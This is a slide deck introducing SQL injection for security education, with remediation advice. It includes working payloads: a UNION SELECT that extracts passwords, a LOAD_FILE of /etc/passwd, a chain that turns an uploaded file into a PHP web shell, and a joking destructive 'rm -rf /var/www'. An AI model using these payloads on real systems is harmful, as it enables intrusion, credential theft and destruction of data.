Intro to SQL Injection

Intro to SQL Injection

• 1.
  @hon1nbo Security Consultant
• 2.
  SQL Injection  SQLiAttack Vectors  Web Applications  Mobile Applications  Thick Clients  Two primary types  Visible SQLi  Blind SQLi  Impact  Compromise of info.  Tampering with database  Destruction of info.  Compromise of other server components
• 3.
  Cause  Unsafe Concatenation(usually)  $query = "SELECT userid, username FROM users WHERE username = '$input'";  What happens if…  $input = bob  Returns userid ,username of bob.  $input = ‘bob  SQL Error. Why?
• 4.
  What happened?  Sequence: $query = “SELECT userid,username FROM users WHERE username = ‘$input’”;  $input = ‘ bob’  $query => “SELECT userid,username FROM users WHERE username = ‘’ bob’’ ”;  i_see_what_you_did_there.jpg
• 5.
  What now?  Ifwe can manipulate the quotes, or similar characters, we can alter the SQL query  $query = “SELECT userid,username FROM users WHERE username = ‘$input’”;  $input = ‘ <malicious SQL Command>  $query => “SELECT userid,username FROM users WHERE username = ‘’ <malicious SQL command>’”;
• 6.
  Manipulating Control  Insertionof conditionals and modifiers  OR, UNION, % (SQL wildcard) are the most common  How can these help us? Demo Time!
• 7.
  Cool Stuff… fora Kiddie  When ‘or ‘1’=1 works there are limitations…  Always returns every valid answer.  Not useful if the system only reads one value, i.e. the first.  Not useful if you need to extract information from alternate columns  Consider the following:  $query = “SELECT userid,username FROM users WHERE username = ‘$input’”  Goal is to obtain the password of the user ‘joe’
• 8.
  SELECT Modifiers  Themost glorious of all:  UNION SELECT  Consider the following:  $input = ‘ UNION SELECT 1, password FROM users WHERE username = ‘joe  $query = “SELECT userid,username FROM users WHERE username = ‘’ UNION SELECT 1,password FROM users WHERE username = ‘joe’”;  Demo Time!
• 9.
  Is SQL Broken? No.  Remediation  NEVER trust user input  ALWAYS escape bad characters  ALWAYS use parameter based queries where possible (Prepared Statements)  See OWASP guide on SQL Injection Prevention for more details
• 10.
  Advanced Techniques  Abusingobscure privileges CREATE Create_priv databases, tables, or indexes DROP Drop_priv databases, tables, or views GRANT OPTION Grant_priv databases, tables, or stored routines LOCK TABLES Lock_tables_priv databases REFERENCES References_priv databases or tables EVENT Event_priv databases ALTER Alter_priv tables DELETE Delete_priv tables INDEX Index_priv tables INSERT Insert_priv tables or columns SELECT Select_priv tables or columns UPDATE Update_priv tables or columns CREATE TEMPORARY TABLES Create_tmp_table_priv tables TRIGGER Trigger_priv tables CREATE VIEW Create_view_priv views SHOW VIEW Show_view_priv views ALTER ROUTINE Alter_routine_priv stored routines CREATE ROUTINE Create_routine_priv stored routines EXECUTE Execute_priv stored routines FILE File_priv file access on server host CREATE USER Create_user_priv server administration PROCESS Process_priv server administration RELOAD Reload_priv server administration REPLICATION CLIENT Repl_client_priv server administration REPLICATION SLAVE Repl_slave_priv server administration SHOW DATABASES Show_db_priv server administration SHUTDOWN Shutdown_priv server administration SUPER Super_priv server administration ALL [PRIVILEGES] server administration USAGE server administration
• 11.
  FILE  File privilegeallows disk I/O access  This is BAD for most cases…  How can we abuse this?  ‘; SELECT LOAD_FILE("/etc/passwd") INTO OUTFILE "/var/www/passwd.txt";--  What if we can upload a text file, or post a text comment? What about PHP uploads?  Most servers that will store PHP do so in a non- executable extension or database…  But we can change that
• 12.
  Installing a Shell Let’s say web server allowed you to attach a text file, called myupload.txt  Let’s say you’re evil, and the contents of myupload.txt is the code of a PHP shell.  Won’t execute due to uploader. Let’s fix that.  '))); SELECT LOAD_FILE("/var/www/<user>/uploads/myupload.tx t") INTO OUTFILE "/var/www/myshell.php";--  Best served with the command “rm –rf /var/www” 
• 13.
  Questions?
• 14.
  Security Consultant @Cigital, Inc. hon1nbo@hackingand.coffee @hon1nbo